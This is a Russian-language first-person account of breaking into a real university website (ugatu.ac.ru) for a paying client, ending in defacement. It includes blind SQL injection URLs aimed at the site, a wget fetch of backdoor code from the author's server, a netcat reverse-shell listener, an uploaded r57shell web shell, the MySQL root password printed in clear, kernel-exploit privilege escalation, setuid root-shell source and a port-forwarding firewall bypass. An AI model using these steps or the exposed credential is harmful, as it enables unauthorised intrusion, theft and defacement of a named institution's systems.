Однажды на форуме rst.void.ru я прочел объявление о том, что один человек хочет чтобы сломали сайт его универа
www.ugatu.ac.ru. Меня, естественно, заинтересовало это предложение.
Не долго думая я зашел браузером на их сайт. Он был самописный. Кстати, заказчик говорил, что их админы ездили в Штаты и заняли первое место по программированию. Типа баги найти у них будет проблематично.
Я увидел линк
http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405
и подставил кавычку . В ответ появилась инфа об ошибке, спецсимволы не фильтровались:
Warning
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/httpd/docs/www.ugatu.ac.ru/Aviator/read_article.php on line 7
Я попробовал использовать UNION, но ничего не получилось. Тогда я сформировал такие запросы:
http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND 1=1 - выводит статью
а запрос
http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND 1=2 - нет
Это означало, что можно посимвольно перебирать поля базы данных.
Для начала я решил узнать имя пользователя БД сформировав такой запрос:
http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND ascii(lower(substring(user(),1,1)))>110 - запрос не вывел статью, а
значит первая буква имени стоит до n, где функция substring выдирает первый символ имени, lower - переводит в нижний регистр, а ascii - в ASCII-код.
Меняя значения я получил первую букву имени - a. Аналогично я проделал и для второго символа. В результате перебора я получил имя, версию и название базы MySQL:
version()=3.23
user()=av@localhost
database():av
Версия MySQL меньше 4.0, а значит подзапросы и UNION использовать нельзя. Можно было только перебирать поля. Я выяснил, что есть поле title. Аналогичным можно перебирать:
http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND ascii(lower(substring(title,1,1)))>110.
Но я это делать не стал, т. к. в поле title была статья. Никаких полей с логинами и пассами в базе не было.
В общем SQL сделать ничего было нельзя.
Я решил продолжить исследование дальше. Менял параметры скриптов, ставил
<script>alert()</script>, но все было бесполезно. На сайте также находилась админка http://www.ugatu.ac.ru/admin. Ее я также пробовал на sql-injection, но увы. Потом решил поискать скрипты через google, вбив site:www.ugatu.ac.ru inurl:php. Было найдено несколько скриптов, выдающих ошибки, но толку от этого не было. Я
рассчитывал найти хотя бы xss, что бы увести админские куки, но все параметры фильтровались. Поиск хостящихся сайтов через www.domainsdb.net также ни к чему хорошему не привел.
И вот я решил изменить стратегию взлома, просканировав порты на серваке. Сканил как всегда
nmap'ом со своего шелла.
На серваке были открыты: 21, 25, 53, 80, 106, 143, 465,
888, 3306, 8010, 8100, 9010 ,9100 и 11457. За фильтром были: 11,
22, 23, 111, 117, 135, 137, 138, 139, 445, 512, 513, 514, 593, 2000, 2001. На 21-м висел vsFTPD, сплоитов для которого я не нашел. На 25-м - CommuniGate Pro 4.1.8, для него я нашел сплоит и запустил со своего шелла. Но ничего из этого не вышло. Я телнетился и заходил браузером на другие порты.
Дошел и до порта 11457, выполнив telnet www.ugatu.ac.ru 11457 я получил полноценный шелл с правами apache! Как я сразу понял,
кто-то открыл порт с помощью шелла от rst. Дело в том что на серваке хостилось еще несколько сайтов, которые почему-то не нашел Domainsdb.net. И шелл видимо был залит на один из сайтов.
Дальше узнал, что на серваке стоит Linux с ядром 2.6.10. Из качалок присутствовал wget. Работать с системой на этом порту было не удобно, поэтому я решил залить туда connect-бэкдор:
wget http://my_site.ru/bd.c -O /tmp/bd.c
Скомпилил его, запустил на своей тачке netcat:
nc -l -p 4000
Запустил
./bd my_IP.
Потом решил найти доступную на записью директорию для заливки шелла от rst, выполни команду
find /home/httpd/docs/www.ugatu.ac.ru -type d -perm -2 -ls
Такая дира нашлась:
home/httpd/docs/www.ugatu.ac.ru/eldar/MO/forum.
Скрипт был залит. Теперь к нему можно было обратиться по адресу:
http://www.ugatu.ac.ru/eldar/MO/forum/r57shell.php.
Также был залит remview и начался поиск конфигурационных файлов.
При просмотре одного из конфигов был найден рутовый пароли к mysql:
$cfgServers[1]['stduser'] = 'root';
$cfgServers[1]['stdpass'] = 'ifrfk';
Таким образом я получил доступ к всем базам данных сервака.
Настала пора и root'а. Я залил на серв пару эксплотов с http://milw0rm.com для ядер 2.6.x, скомпилил, запустил и обломался... Но мне захотелось также испытать сплоиты для ядер >2.6.13, но <2.6.17.4. На удачу нельзя было надеяться, т.к. ядро было 2.6.10, но все же... И вот запустив один из
сплоитов
я через несколько секунд получил root'а. А ведь ядро было меньше 2.6.13.
Залил файл root.c, содержания:
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Скомплил, установил chmod 4755 root, закинул в неприметное место. Все, теперь заходя под любым юзером, запуская его я получал абсолютные права...
Теперь пришло время для обхода файервола. Как известно 22-й порт фильтровался и был доступен только из локалки:
telnet 127.0.0.1 22
Для обхода файера было решено использовать прогу datapipe.pl Настраиваем
перенаправлять данные на порт 2022:
локальный порт - 2022
удаленный хост -
www.ugatu.ac.ru
удаленный порт - 22
Теперь соединяемся telnet'ом с 2022-м портом сервака и получаем SSH...
Ну вот и вся история. Я залил дефейс на сайт и показал все заказчику.
Кстати он до сих пор висит на сайте, видимо
не очень то он (сайт) и нужен своим
создателям.